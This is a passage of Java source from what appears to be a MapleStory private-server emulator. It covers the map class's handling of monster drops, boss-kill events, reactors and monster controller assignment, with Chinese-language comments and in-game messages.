public final boolean allowPersonalShop() {
return personalShop;
}
public final void setPersonalShop(final boolean personalShop) {
this.personalShop = personalShop;
}
public final void setStreetName(final String streetName) {
this.streetName = streetName;
}
public final void setEverlast(final boolean everlast) {
this.everlast = everlast;
}
public final boolean getEverlast() {
return everlast;
}
public final int getHPDec() {
return decHP;
}
public final void setHPDec(final int delta) {
if (delta > 0 || mapid == 749040100) { //pmd
lastHurtTime = System.currentTimeMillis(); //start it up
}
decHP = (short) delta;
}
public final int getHPDecInterval() {
return decHPInterval;
}
public final void setHPDecInterval(final int delta) {
decHPInterval = delta;
}
public final int getHPDecProtect() {
return protectItem;
}
public final void setHPDecProtect(final int delta) {
this.protectItem = delta;
}
public final int getCurrentPartyId() {
charactersLock.readLock().lock();
try {
final Iterator<MapleCharacter> ltr = characters.iterator();
MapleCharacter chr;
while (ltr.hasNext()) {
chr = ltr.next();
if (chr.getParty() != null) {
return chr.getParty().getId();
}
}
} finally {
charactersLock.readLock().unlock();
}
return -1;
}
public final void addMapObject(final MapleMapObject mapobject) {
runningOidLock.lock();
int newOid;
try {
newOid = ++runningOid;
} finally {
runningOidLock.unlock();
}
mapobject.setObjectId(newOid);
mapobjectlocks.get(mapobject.getType()).writeLock().lock();
try {
mapobjects.get(mapobject.getType()).put(newOid, mapobject);
} finally {
mapobjectlocks.get(mapobject.getType()).writeLock().unlock();
}
}
private void spawnAndAddRangedMapObject(final MapleMapObject mapobject, final DelayedPacketCreation packetbakery) {
addMapObject(mapobject);
charactersLock.readLock().lock();
try {
final Iterator<MapleCharacter> itr = characters.iterator();
MapleCharacter chr;
while (itr.hasNext()) {
chr = itr.next();
if (!chr.isClone() && (mapobject.getType() == MapleMapObjectType.MIST || chr.getTruePosition().distanceSq(mapobject.getTruePosition()) <= GameConstants.maxViewRangeSq())) {
packetbakery.sendPackets(chr.getClient());
chr.addVisibleMapObject(mapobject);
}
}
} finally {
charactersLock.readLock().unlock();
}
}
public final void removeMapObject(final MapleMapObject obj) {
mapobjectlocks.get(obj.getType()).writeLock().lock();
try {
mapobjects.get(obj.getType()).remove(obj.getObjectId());
} finally {
mapobjectlocks.get(obj.getType()).writeLock().unlock();
}
}
public final Point calcPointBelow(final Point initial) {
final MapleFoothold fh = footholds.findBelow(initial, false);
if (fh == null) {
return null;
}
int dropY = fh.getY1();
if (!fh.isWall() && fh.getY1() != fh.getY2()) {
final double s1 = Math.abs(fh.getY2() - fh.getY1());
final double s2 = Math.abs(fh.getX2() - fh.getX1());
if (fh.getY2() < fh.getY1()) {
dropY = fh.getY1() - (int) (Math.cos(Math.atan(s2 / s1)) * (Math.abs(initial.x - fh.getX1()) / Math.cos(Math.atan(s1 / s2))));
} else {
dropY = fh.getY1() + (int) (Math.cos(Math.atan(s2 / s1)) * (Math.abs(initial.x - fh.getX1()) / Math.cos(Math.atan(s1 / s2))));
}
}
return new Point(initial.x, dropY);
}
public final Point calcDropPos(final Point initial, final Point fallback) {
final Point ret = calcPointBelow(new Point(initial.x, initial.y - 50));
if (ret == null) {
return fallback;
}
return ret;
}
private void dropFromMonster(final MapleCharacter chr, final MapleMonster mob, final boolean instanced) {
if (mob == null || chr == null || ChannelServer.getInstance(channel) == null || dropsDisabled || mob.dropsDisabled() || chr.getPyramidSubway() != null) { //no drops in pyramid ok? no cash either
return;
}
//We choose not to readLock for this.
//This will not affect the internal state, and we don't want to
//introduce unneccessary locking, especially since this function
//is probably used quite often.
if (!instanced && mapobjects.get(MapleMapObjectType.ITEM).size() >= 255) {
removeDrops();
broadcastMessage(CField.getGameMessage(7, "[楓之谷幫助]地上掉寶多於255個,已被清理。"));
}
final MapleItemInformationProvider ii = MapleItemInformationProvider.getInstance();
final byte droptype = (byte) (mob.getStats().isExplosiveReward() ? 3 : mob.getStats().isFfaLoot() ? 2 : chr.getParty() != null ? 1 : 0);
final int mobpos = mob.getTruePosition().x;
final int cmServerrate = ChannelServer.getInstance(channel).getMesoRate(chr.getWorld());
final int chServerrate = ChannelServer.getInstance(channel).getDropRate(chr.getWorld());
Item idrop;
byte d = 1;
Point pos = new Point(0, mob.getTruePosition().y);
double showdown = 100.0;
final MonsterStatusEffect mse = mob.getBuff(MonsterStatus.SHOWDOWN);
if (mse != null) {
showdown += mse.getX();
}
final MapleMonsterInformationProvider mi = MapleMonsterInformationProvider.getInstance();
final List<MonsterDropEntry> drops = mi.retrieveDrop(mob.getId());
if (drops == null) { //if no drops, no global drops either
return;
}
final List<MonsterDropEntry> dropEntry = new ArrayList<>(drops);
Collections.shuffle(dropEntry);
boolean mesoDropped = false;
for (final MonsterDropEntry de : dropEntry) {
if (de.itemId == mob.getStolen()) {
continue;
}
if (de.itemId != 0 && !ii.itemExists(de.itemId)) {
continue;
}
if (Randomizer.nextInt(999999) < (int) (de.chance * chServerrate * chr.getDropMod() * chr.getStat().dropBuff / 100.0 * (showdown / 100.0))) {
if (mesoDropped && droptype != 3 && de.itemId == 0) { //not more than 1 sack of meso
continue;
}
if (de.questid > 0 && chr.getQuestStatus(de.questid) != 1) {
continue;
}
if (de.itemId / 10000 == 238 && !mob.getStats().isBoss() && chr.getMonsterBook().getLevelByCard(ii.getCardMobId(de.itemId)) >= 2) {
continue;
}
if (droptype == 3) {
pos.x = (mobpos + (d % 2 == 0 ? (40 * (d + 1) / 2) : -(40 * (d / 2))));
} else {
pos.x = (mobpos + ((d % 2 == 0) ? (25 * (d + 1) / 2) : -(25 * (d / 2))));
}
if (de.itemId == 0) { // meso
int mesos = Randomizer.nextInt(1 + Math.abs(de.Maximum - de.Minimum)) + de.Minimum;
if (mesos > 0) {
spawnMobMesoDrop((int) (mesos * (chr.getStat().mesoBuff / 100.0) * chr.getDropMod() * cmServerrate), calcDropPos(pos, mob.getTruePosition()), mob, chr, false, droptype);
mesoDropped = true;
}
} else {
if (GameConstants.getInventoryType(de.itemId) == MapleInventoryType.EQUIP) {
idrop = ii.randomizeStats((Equip) ii.getEquipById(de.itemId));
idrop = MapleInventoryManipulator.checkEnhanced(idrop, chr);//潛能掉寶
} else {
final int range = Math.abs(de.Maximum - de.Minimum);
idrop = new Item(de.itemId, (byte) 0, (short) (de.Maximum != 1 ? Randomizer.nextInt(range <= 0 ? 1 : range) + de.Minimum : 1), (byte) 0);
}
idrop.setGMLog("怪物噴寶: " + mob.getId() + " 地圖: " + toString() + " 時間: " + FileoutputUtil.CurrentReadable_Date());
spawnMobDrop(idrop, calcDropPos(pos, mob.getTruePosition()), mob, chr, droptype, de.questid);
}
d++;
}
}
final List<MonsterGlobalDropEntry> globalEntry = new ArrayList<>(mi.getGlobalDrop());
Collections.shuffle(globalEntry);
// Global Drops
for (final MonsterGlobalDropEntry de : globalEntry) {
if (Randomizer.nextInt(999999) < de.chance && (de.continent < 0 || (de.continent < 10 && mapid / 100000000 == de.continent) || (de.continent < 100 && mapid / 10000000 == de.continent) || (de.continent < 1000 && mapid / 1000000 == de.continent))) {
if (de.questid > 0 && chr.getQuestStatus(de.questid) != 1) {
continue;
}
if (de.itemId > 0 && de.itemId < 4) {
chr.modifyCSPoints(de.itemId, (int) (de.Maximum != 1 ? Randomizer.nextInt(de.Maximum - de.Minimum) + de.Minimum : 1), true);
} else if (!gDropsDisabled) {
if (droptype == 3) {
pos.x = (mobpos + (d % 2 == 0 ? (40 * (d + 1) / 2) : -(40 * (d / 2))));
} else {
pos.x = (mobpos + ((d % 2 == 0) ? (25 * (d + 1) / 2) : -(25 * (d / 2))));
}
if (GameConstants.getInventoryType(de.itemId) == MapleInventoryType.EQUIP) {
idrop = ii.randomizeStats((Equip) ii.getEquipById(de.itemId));
idrop = MapleInventoryManipulator.checkEnhanced(idrop, chr);//潛能掉寶
} else {
idrop = new Item(de.itemId, (byte) 0, (short) (de.Maximum != 1 ? Randomizer.nextInt(de.Maximum - de.Minimum) + de.Minimum : 1), (byte) 0);
}
idrop.setGMLog("怪物噴寶: " + mob.getId() + " 地圖: " + toString() + " (全域) 時間: " + FileoutputUtil.CurrentReadable_Date());
spawnMobDrop(idrop, calcDropPos(pos, mob.getTruePosition()), mob, chr, de.onlySelf ? 0 : droptype, de.questid);
d++;
}
}
}
}
public void removeMonster(final MapleMonster monster) {
if (monster == null) {
return;
}
spawnedMonstersOnMap.decrementAndGet();
if (GameConstants.isAzwanMap(mapid)) {
broadcastMessage(MobPacket.killMonster(monster.getObjectId(), 0, true));
} else {
broadcastMessage(MobPacket.killMonster(monster.getObjectId(), 0, false));
}
removeMapObject(monster);
monster.killed();
}
public void killMonster(final MapleMonster monster) { // For mobs with removeAfter
if (monster == null) {
return;
}
spawnedMonstersOnMap.decrementAndGet();
monster.setHp(0);
if (monster.getLinkCID() <= 0) {
monster.spawnRevives(this);
}
broadcastMessage(MobPacket.killMonster(monster.getObjectId(), monster.getStats().getSelfD() < 0 ? 1 : monster.getStats().getSelfD(), false));
removeMapObject(monster);
monster.killed();
}
public final void killMonster(final MapleMonster monster, final MapleCharacter chr, final boolean withDrops, final boolean second, byte animation) {
killMonster(monster, chr, withDrops, second, animation, 0);
}
public final void killMonster(final MapleMonster monster, final MapleCharacter chr, final boolean withDrops, final boolean second, byte animation, final int lastSkill) {
if (monster.getId() == 9300471) {
spawnNpcForPlayer(chr.getClient(), 9073000, new Point(-595, 215));
}
if (monster.getId() == 9001045) {
chr.setQuestAdd(MapleQuest.getInstance(25103), (byte) 1, "1");
}
if (monster.getId() == 9001050) {
if (chr.getMap().getMobsSize() < 2) { //should be 1 left
MapleQuest.getInstance(20035).forceComplete(chr, 1106000);
}
}
if (monster.getId() == 9400902) {
chr.getMap().startMapEffect("So what do you think? Just as though as the original, right?! Move by going to Resercher H.", 5120039);
}
if ((monster.getId() == 8810122 || monster.getId() == 8810018) && !second) {
MapTimer.getInstance().schedule(new Runnable() {
@Override
public void run() {
killMonster(monster, chr, true, true, (byte) 1);
killAllMonsters(true);
}
}, 3000);
return;
}
if (monster.getId() == 8820014) { //pb sponge, kills pb(w) first before dying
killMonster(8820000);
} else if (monster.getId() == 9300166) { //ariant pq bomb
animation = 2;
}
spawnedMonstersOnMap.decrementAndGet();
removeMapObject(monster);
monster.killed();
final MapleSquad sqd = getSquadByMap();
final boolean instanced = sqd != null || monster.getEventInstance() != null || getEMByMap() != null;
int dropOwner = monster.killBy(chr, lastSkill);
if (animation >= 0) {
if (GameConstants.isAzwanMap(getId())) {
broadcastMessage(MobPacket.killMonster(monster.getObjectId(), animation, true));
} else {
broadcastMessage(MobPacket.killMonster(monster.getObjectId(), animation, false));
}
}
if (monster.getId() == 9390935 && getId() == 866103000) {
if (chr.getQuestStatus(59003) != 0) {
chr.changeMap(866104000, 0);
} else {
spawnMonsterOnGroundBelow(MapleLifeFactory.getMonster(monster.getId()), monster.getPosition());
}
} else if (monster.getId() == 9390936 && getId() == 866105000) {
spawnMonsterOnGroundBelow(MapleLifeFactory.getMonster(monster.getId()), monster.getPosition());
}
if (dropOwner != -1) {
monster.killGainExp(chr, lastSkill);
}
if (monster.getBuffToGive() > -1) {
final int buffid = monster.getBuffToGive();
final MapleStatEffect buff = MapleItemInformationProvider.getInstance().getItemEffect(buffid);
charactersLock.readLock().lock();
try {
for (final MapleCharacter mc : characters) {
if (mc.isAlive()) {
buff.applyTo(mc);
switch (monster.getId()) {
case 8810018:
case 8810122:
case 8820001:
mc.getClient().getSession().write(EffectPacket.showBuffEffect(true, mc, buffid, SpecialEffectType.MULUNG_DOJO_UP, mc.getLevel(), 1)); // HT nine spirit
broadcastMessage(mc, EffectPacket.showBuffEffect(false, mc, buffid, SpecialEffectType.MULUNG_DOJO_UP, mc.getLevel(), 1), false); // HT nine spirit
break;
}
}
}
} finally {
charactersLock.readLock().unlock();
}
}
final int mobid = monster.getId();
ExpeditionType type = null;
if (mobid == 8810018 && mapid == 240060200) { // 闇黑龍王
if (speedRunStart > 0) {
type = ExpeditionType.Horntail;
}
doShrine(true);
} else if (mobid == 8810122 && mapid == 240060201) { // 混沌闇黑龍王
broadcastMessage(CWvsContext.broadcastMsg(6, "經過無數次的挑戰,終於擊破了闇黑龍王的遠征隊!你們才是龍之林的真正英雄~"));
if (speedRunStart > 0) {
type = ExpeditionType.ChaosHT;
}
doShrine(true);
} else if (mobid == 9400266 && mapid == 802000111) { // 無名魔獸
doShrine(true);
} else if (mobid == 9400265 && mapid == 802000211) { // 貝魯加墨特
doShrine(true);
} else if (mobid == 9400270 && mapid == 802000411) { // 杜那斯
doShrine(true);
} else if (mobid == 9400273 && mapid == 802000611) { // 尼貝龍根
doShrine(true);
} else if (mobid == 9400294 && mapid == 802000711) { // 杜那斯
doShrine(true);
} else if (mobid == 9400296 && mapid == 802000803) { // 普雷茲首腦
doShrine(true);
} else if (mobid == 9400289 && mapid == 802000821) { // 奧芙赫班
doShrine(true);
} else if (mobid == 8830000 && mapid == 105100300) { // 巴洛古
if (speedRunStart > 0) {
type = ExpeditionType.Balrog;
}
} else if ((mobid == 9420544 || mobid == 9420549) && mapid == 551030200 && monster.getEventInstance() != null && monster.getEventInstance().getName().contains(getEMByMap().getName())) {
// 狂暴的泰勒熊
doShrine(getAllReactor().isEmpty());
} else if (mobid == 8820001 && mapid == 270050100) { // 皮卡啾
if (speedRunStart > 0) {
type = ExpeditionType.Pink_Bean;
}
doShrine(true);
} else if (mobid == 8820212 && mapid == 270051100) { // 混沌皮卡啾
broadcastMessage(CWvsContext.broadcastMsg(6, "憑藉永遠不疲倦的熱情打敗皮卡啾的遠征隊啊!你們是真正的時間的勝者!"));
if (speedRunStart > 0) {
type = ExpeditionType.Chaos_Pink_Bean;
}
doShrine(true);
} else if (mobid == 8850011 && mapid == 274040200) { // 西格諾斯
broadcastMessage(CWvsContext.broadcastMsg(6, "被黑魔法師黑化的西格諾斯女皇終於被永不言敗的遠征隊打倒! 混沌世界得以淨化!"));
if (speedRunStart > 0) {
type = ExpeditionType.Cygnus;
}
doShrine(true);
} else if (mobid == 8870000 && mapid == 262030300) { // 希拉
if (speedRunStart > 0) {
type = ExpeditionType.Hilla;
}
doShrine(true);
} else if (mobid == 8870100 && mapid == 262031300) { // 希拉
if (speedRunStart > 0) {
type = ExpeditionType.Hilla;
}
doShrine(true);
} else if (mobid == 8860000 && mapid == 272030400) { // 阿卡伊農
if (speedRunStart > 0) {
type = ExpeditionType.Akyrum;
}
doShrine(true);
} else if (mobid == 8840000 && mapid == 211070100) { // 凡雷恩
if (speedRunStart > 0) {
type = ExpeditionType.Von_Leon;
}
doShrine(true);
} else if (mobid == 8800002 && (mapid == 280030000 || mapid == 280030100)) { // 殘暴炎魔
if (speedRunStart > 0) {
type = ExpeditionType.Zakum;
}
doShrine(true);
} else if (mobid == 8800102 && mapid == 280030001) { // 混沌殘暴炎魔
if (speedRunStart > 0) {
type = ExpeditionType.Chaos_Zakum;
}
doShrine(true);
} else if (mobid >= 8800003 && mobid <= 8800010) { //殘暴炎魔
boolean makeZakReal = true;
final Collection<MapleMonster> monsters = getAllMonstersThreadsafe();
for (final MapleMonster mons : monsters) {
if (mons.getId() >= 8800003 && mons.getId() <= 8800010) {
makeZakReal = false;
break;
}
}
if (makeZakReal) {
for (final MapleMapObject object : monsters) {
final MapleMonster mons = ((MapleMonster) object);
if (mons.getId() == 8800000) {
final Point pos = mons.getTruePosition();
this.killAllMonsters(true);
spawnMonsterOnGroundBelow(MapleLifeFactory.getMonster(8800000), pos);
break;
}
}
}
} else if (mobid >= 8800103 && mobid <= 8800110) { //混沌殘暴炎魔
boolean makeZakReal = true;
final Collection<MapleMonster> monsters = getAllMonstersThreadsafe();
for (final MapleMonster mons : monsters) {
if (mons.getId() >= 8800103 && mons.getId() <= 8800110) {
makeZakReal = false;
break;
}
}
if (makeZakReal) {
for (final MapleMonster mons : monsters) {
if (mons.getId() == 8800100) {
final Point pos = mons.getTruePosition();
this.killAllMonsters(true);
spawnMonsterOnGroundBelow(MapleLifeFactory.getMonster(8800100), pos);
break;
}
}
}
} else if (mobid >= 8800023 && mobid <= 8800030) { //弱化的殘暴炎魔
boolean makeZakReal = true;
final Collection<MapleMonster> monsters = getAllMonstersThreadsafe();
for (final MapleMonster mons : monsters) {
if (mons.getId() >= 8800023 && mons.getId() <= 8800030) {
makeZakReal = false;
break;
}
}
if (makeZakReal) {
for (final MapleMonster mons : monsters) {
if (mons.getId() == 8800020) {
final Point pos = mons.getTruePosition();
this.killAllMonsters(true);
spawnMonsterOnGroundBelow(MapleLifeFactory.getMonster(8800020), pos);
break;
}
}
}
} else if (mobid >= 9400903 && mobid <= 9400910) { //粉紅殘暴炎魔
boolean makeZakReal = true;
final Collection<MapleMonster> monsters = getAllMonstersThreadsafe();
for (final MapleMonster mons : monsters) {
if (mons.getId() >= 9400903 && mons.getId() <= 9400910) {
makeZakReal = false;
break;
}
}
if (makeZakReal) {
for (final MapleMapObject object : monsters) {
final MapleMonster mons = ((MapleMonster) object);
if (mons.getId() == 9400900) {
final Point pos = mons.getTruePosition();
this.killAllMonsters(true);
spawnMonsterOnGroundBelow(MapleLifeFactory.getMonster(9400900), pos);
break;
}
}
}
} else if (mobid == 8820008) { //皮卡啾
for (final MapleMapObject mmo : getAllMonstersThreadsafe()) {
MapleMonster mons = (MapleMonster) mmo;
if (mons.getLinkOid() != monster.getObjectId()) {
killMonster(mons, chr, false, false, animation);
}
}
} else if (mobid >= 8820010 && mobid <= 8820014) { //皮卡啾
for (final MapleMapObject mmo : getAllMonstersThreadsafe()) {
MapleMonster mons = (MapleMonster) mmo;
if (mons.getId() != 8820000 && mons.getId() != 8820001 && mons.getObjectId() != monster.getObjectId() && mons.isAlive() && mons.getLinkOid() == monster.getObjectId()) {
killMonster(mons, chr, false, false, animation);
}
}
} else if (mobid == 8820108) { //混沌皮卡啾
for (MapleMapObject mmo : getAllMonstersThreadsafe()) {
MapleMonster mons = (MapleMonster) mmo;
if (mons.getLinkOid() != monster.getObjectId()) {
killMonster(mons, chr, false, false, animation);
}
}
} else if ((mobid >= 8820300) && (mobid <= 8820304)) { //混沌皮卡啾
for (MapleMapObject mmo : getAllMonstersThreadsafe()) {
MapleMonster mons = (MapleMonster) mmo;
if ((mons.getId() != 8820100) && (mons.getId() != 8820212) && (mons.getObjectId() != monster.getObjectId()) && (mons.isAlive()) && (mons.getLinkOid() == monster.getObjectId())) {
killMonster(mons, chr, false, false, animation);
}
}
} else if (mobid / 100000 == 98 && chr.getMapId() / 10000000 == 95 && getAllMonstersThreadsafe().isEmpty()) {
switch ((chr.getMapId() % 1000) / 100) {
case 0:
case 1:
case 2:
case 3:
case 4:
chr.getClient().getSession().write(CField.MapEff("monsterPark/clear"));
break;
case 5:
if (chr.getMapId() / 1000000 == 952) {
chr.getClient().getSession().write(CField.MapEff("monsterPark/clearF"));
} else {
chr.getClient().getSession().write(CField.MapEff("monsterPark/clear"));
}
break;
case 6:
chr.getClient().getSession().write(CField.MapEff("monsterPark/clearF"));
break;
}
}
if (type != null) {
if (speedRunStart > 0 && speedRunLeader.length() > 0) {
long endTime = System.currentTimeMillis();
String time = StringUtil.getReadableMillis(speedRunStart, endTime);
broadcastMessage(CWvsContext.broadcastMsg(5, speedRunLeader + "'s squad has taken " + time + " to defeat " + type.name() + "!"));
getRankAndAdd(speedRunLeader, time, type, (endTime - speedRunStart), (sqd == null ? null : sqd.getMembers()));
endSpeedRun();
}
}
if (withDrops && dropOwner != -1) {
MapleCharacter drop;
if (dropOwner <= 0) {
drop = chr;
} else {
drop = getCharacterById(dropOwner);
if (drop == null) {
drop = chr;
}
}
dropFromMonster(drop, monster, instanced);
}
ZZMSConfig.gainMobBFGash(monster, chr);
}
public List<MapleReactor> getAllReactor() {
return getAllReactorsThreadsafe();
}
public List<MapleReactor> getAllReactorsThreadsafe() {
ArrayList<MapleReactor> ret = new ArrayList<>();
mapobjectlocks.get(MapleMapObjectType.REACTOR).readLock().lock();
try {
for (MapleMapObject mmo : mapobjects.get(MapleMapObjectType.REACTOR).values()) {
ret.add((MapleReactor) mmo);
}
} finally {
mapobjectlocks.get(MapleMapObjectType.REACTOR).readLock().unlock();
}
return ret;
}
public List<MapleRune> getAllRune() {
return getAllRuneThreadsafe();
}
public List<MapleRune> getAllRuneThreadsafe() {
ArrayList<MapleRune> ret = new ArrayList<>();
mapobjectlocks.get(MapleMapObjectType.RUNE).readLock().lock();
try {
for (MapleMapObject mmo : mapobjects.get(MapleMapObjectType.RUNE).values()) {
ret.add((MapleRune) mmo);
}
} finally {
mapobjectlocks.get(MapleMapObjectType.RUNE).readLock().unlock();
}
return ret;
}
public List<MapleSummon> getAllSummonsThreadsafe() {
ArrayList<MapleSummon> ret = new ArrayList<>();
mapobjectlocks.get(MapleMapObjectType.SUMMON).readLock().lock();
try {
for (MapleMapObject mmo : mapobjects.get(MapleMapObjectType.SUMMON).values()) {
if (mmo instanceof MapleSummon) {
ret.add((MapleSummon) mmo);
}
}
} finally {
mapobjectlocks.get(MapleMapObjectType.SUMMON).readLock().unlock();
}
return ret;
}
public List<MapleMapObject> getAllDoor() {
return getAllDoorsThreadsafe();
}
public List<MapleMapObject> getAllDoorsThreadsafe() {
ArrayList<MapleMapObject> ret = new ArrayList<>();
mapobjectlocks.get(MapleMapObjectType.DOOR).readLock().lock();
try {
for (MapleMapObject mmo : mapobjects.get(MapleMapObjectType.DOOR).values()) {
if (mmo instanceof MapleDoor) {
ret.add(mmo);
}
}
} finally {
mapobjectlocks.get(MapleMapObjectType.DOOR).readLock().unlock();
}
return ret;
}
public List<MapleMapObject> getAllMechDoorsThreadsafe() {
ArrayList<MapleMapObject> ret = new ArrayList<>();
mapobjectlocks.get(MapleMapObjectType.DOOR).readLock().lock();
try {
for (MapleMapObject mmo : mapobjects.get(MapleMapObjectType.DOOR).values()) {
if (mmo instanceof MechDoor) {
ret.add(mmo);
}
}
} finally {
mapobjectlocks.get(MapleMapObjectType.DOOR).readLock().unlock();
}
return ret;
}
public List<MapleMapObject> getAllMerchant() {
return getAllHiredMerchantsThreadsafe();
}
public List<MapleMapObject> getAllHiredMerchantsThreadsafe() {
ArrayList<MapleMapObject> ret = new ArrayList<>();
mapobjectlocks.get(MapleMapObjectType.HIRED_MERCHANT).readLock().lock();
try {
for (MapleMapObject mmo : mapobjects.get(MapleMapObjectType.HIRED_MERCHANT).values()) {
ret.add(mmo);
}
} finally {
mapobjectlocks.get(MapleMapObjectType.HIRED_MERCHANT).readLock().unlock();
}
return ret;
}
public List<MapleMonster> getAllMonster() {
return getAllMonstersThreadsafe();
}
public List<MapleMonster> getAllMonstersThreadsafe() {
ArrayList<MapleMonster> ret = new ArrayList<>();
mapobjectlocks.get(MapleMapObjectType.MONSTER).readLock().lock();
try {
for (MapleMapObject mmo : mapobjects.get(MapleMapObjectType.MONSTER).values()) {
ret.add((MapleMonster) mmo);
}
} finally {
mapobjectlocks.get(MapleMapObjectType.MONSTER).readLock().unlock();
}
return ret;
}
public List<Integer> getAllUniqueMonsters() {
ArrayList<Integer> ret = new ArrayList<>();
mapobjectlocks.get(MapleMapObjectType.MONSTER).readLock().lock();
try {
for (MapleMapObject mmo : mapobjects.get(MapleMapObjectType.MONSTER).values()) {
final int theId = ((MapleMonster) mmo).getId();
if (!ret.contains(theId)) {
ret.add(theId);
}
}
} finally {
mapobjectlocks.get(MapleMapObjectType.MONSTER).readLock().unlock();
}
return ret;
}
public final void killAllMonsters(final boolean animate) {
for (final MapleMapObject monstermo : getAllMonstersThreadsafe()) {
final MapleMonster monster = (MapleMonster) monstermo;
spawnedMonstersOnMap.decrementAndGet();
monster.setHp(0);
if (GameConstants.isAzwanMap(mapid)) {
broadcastMessage(MobPacket.killMonster(monster.getObjectId(), animate ? 1 : 0, true));
} else {
broadcastMessage(MobPacket.killMonster(monster.getObjectId(), animate ? 1 : 0, false));
}
removeMapObject(monster);
monster.killed();
}
}
public final void killMonster(final int monsId) {
for (final MapleMapObject mmo : getAllMonstersThreadsafe()) {
if (((MapleMonster) mmo).getId() == monsId) {
spawnedMonstersOnMap.decrementAndGet();
removeMapObject(mmo);
if (GameConstants.isAzwanMap(mapid)) {
broadcastMessage(MobPacket.killMonster(mmo.getObjectId(), 1, true));
} else {
broadcastMessage(MobPacket.killMonster(mmo.getObjectId(), 1, false));
}
((MapleMonster) mmo).killed();
break;
}
}
}
private String MapDebug_Log() {
final StringBuilder sb = new StringBuilder("Defeat time : ");
sb.append(FileoutputUtil.CurrentReadable_Time());
sb.append(" | Mapid : ").append(this.mapid);
charactersLock.readLock().lock();
try {
sb.append(" Users [").append(characters.size()).append("] | ");
for (MapleCharacter mc : characters) {
sb.append(mc.getName()).append(", ");
}
} finally {
charactersLock.readLock().unlock();
}
return sb.toString();
}
public final void limitReactor(final int rid, final int num) {
List<MapleReactor> toDestroy = new ArrayList<>();
Map<Integer, Integer> contained = new LinkedHashMap<>();
mapobjectlocks.get(MapleMapObjectType.REACTOR).readLock().lock();
try {
for (MapleMapObject obj : mapobjects.get(MapleMapObjectType.REACTOR).values()) {
MapleReactor mr = (MapleReactor) obj;
if (contained.containsKey(mr.getReactorId())) {
if (contained.get(mr.getReactorId()) >= num) {
toDestroy.add(mr);
} else {
contained.put(mr.getReactorId(), contained.get(mr.getReactorId()) + 1);
}
} else {
contained.put(mr.getReactorId(), 1);
}
}
} finally {
mapobjectlocks.get(MapleMapObjectType.REACTOR).readLock().unlock();
}
for (MapleReactor mr : toDestroy) {
destroyReactor(mr.getObjectId());
}
}
public final void destroyReactors(final int first, final int last) {
List<MapleReactor> toDestroy = new ArrayList<>();
mapobjectlocks.get(MapleMapObjectType.REACTOR).readLock().lock();
try {
for (MapleMapObject obj : mapobjects.get(MapleMapObjectType.REACTOR).values()) {
MapleReactor mr = (MapleReactor) obj;
if (mr.getReactorId() >= first && mr.getReactorId() <= last) {
toDestroy.add(mr);
}
}
} finally {
mapobjectlocks.get(MapleMapObjectType.REACTOR).readLock().unlock();
}
for (MapleReactor mr : toDestroy) {
destroyReactor(mr.getObjectId());
}
}
public final void destroyReactor(final int oid) {
final MapleReactor reactor = getReactorByOid(oid);
if (reactor == null) {
return;
}
broadcastMessage(CField.destroyReactor(reactor));
reactor.setAlive(false);
removeMapObject(reactor);
reactor.setTimerActive(false);
if (reactor.getDelay() > 0) {
MapTimer.getInstance().schedule(new Runnable() {
@Override
public final void run() {
respawnReactor(reactor);
}
}, reactor.getDelay());
}
}
public final void reloadReactors() {
List<MapleReactor> toSpawn = new ArrayList<>();
mapobjectlocks.get(MapleMapObjectType.REACTOR).readLock().lock();
try {
for (MapleMapObject obj : mapobjects.get(MapleMapObjectType.REACTOR).values()) {
final MapleReactor reactor = (MapleReactor) obj;
broadcastMessage(CField.destroyReactor(reactor));
reactor.setAlive(false);
reactor.setTimerActive(false);
toSpawn.add(reactor);
}
} finally {
mapobjectlocks.get(MapleMapObjectType.REACTOR).readLock().unlock();
}
for (MapleReactor r : toSpawn) {
removeMapObject(r);
if (!r.isCustom()) { //guardians cpq
respawnReactor(r);
}
}
}
/*
* command to reset all item-reactors in a map to state 0 for GM/NPC use - not tested (broken reactors get removed
* from mapobjects when destroyed) Should create instances for multiple copies of non-respawning reactors...
*/
public final void resetReactors() {
setReactorState((byte) 0);
}
public final void setReactorState() {
setReactorState((byte) 1);
}
public final void setReactorState(final byte state) {
mapobjectlocks.get(MapleMapObjectType.REACTOR).readLock().lock();
try {
for (MapleMapObject obj : mapobjects.get(MapleMapObjectType.REACTOR).values()) {
((MapleReactor) obj).forceHitReactor(null, state);
}
} finally {
mapobjectlocks.get(MapleMapObjectType.REACTOR).readLock().unlock();
}
}
public final void setReactorDelay(final int state) {
mapobjectlocks.get(MapleMapObjectType.REACTOR).readLock().lock();
try {
for (MapleMapObject obj : mapobjects.get(MapleMapObjectType.REACTOR).values()) {
((MapleReactor) obj).setDelay(state);
}
} finally {
mapobjectlocks.get(MapleMapObjectType.REACTOR).readLock().unlock();
}
}
/*
* command to shuffle the positions of all reactors in a map for PQ purposes (such as ZPQ/LMPQ)
*/
public final void shuffleReactors() {
shuffleReactors(0, 9999999); //all
}
public final void shuffleReactors(int first, int last) {
List<Point> points = new ArrayList<>();
mapobjectlocks.get(MapleMapObjectType.REACTOR).readLock().lock();
try {
for (MapleMapObject obj : mapobjects.get(MapleMapObjectType.REACTOR).values()) {
MapleReactor mr = (MapleReactor) obj;
if (mr.getReactorId() >= first && mr.getReactorId() <= last) {
points.add(mr.getPosition());
}
}
} finally {
mapobjectlocks.get(MapleMapObjectType.REACTOR).readLock().unlock();
}
Collections.shuffle(points);
mapobjectlocks.get(MapleMapObjectType.REACTOR).readLock().lock();
try {
for (MapleMapObject obj : mapobjects.get(MapleMapObjectType.REACTOR).values()) {
MapleReactor mr = (MapleReactor) obj;
if (mr.getReactorId() >= first && mr.getReactorId() <= last) {
mr.setPosition(points.remove(points.size() - 1));
}
}
} finally {
mapobjectlocks.get(MapleMapObjectType.REACTOR).readLock().unlock();
}
}
/**
* Automagically finds a new controller for the given monster from the chars
* on the map...
*
* @param monster
*/
public final void updateMonsterController(final MapleMonster monster) {
if (!monster.isAlive() || monster.getLinkCID() > 0 || monster.getStats().isEscort()) {
return;
}
if (monster.getController() != null) {
if (monster.getController().getMap() != this || monster.getController().getTruePosition().distanceSq(monster.getTruePosition()) > monster.getRange()) {
monster.getController().stopControllingMonster(monster);
} else { // Everything is fine :)
return;
}
}
int mincontrolled = -1;
MapleCharacter newController = null;
charactersLock.readLock().lock();
try {
final Iterator<MapleCharacter> ltr = characters.iterator();
MapleCharacter chr;
while (ltr.hasNext()) {
chr = ltr.next();
if (!chr.isHidden() && !chr.isClone() && (chr.getControlledSize() < mincontrolled || mincontrolled == -1) && chr.getTruePosition().distanceSq(monster.getTruePosition()) <= monster.getRange()) {
mincontrolled = chr.getControlledSize();
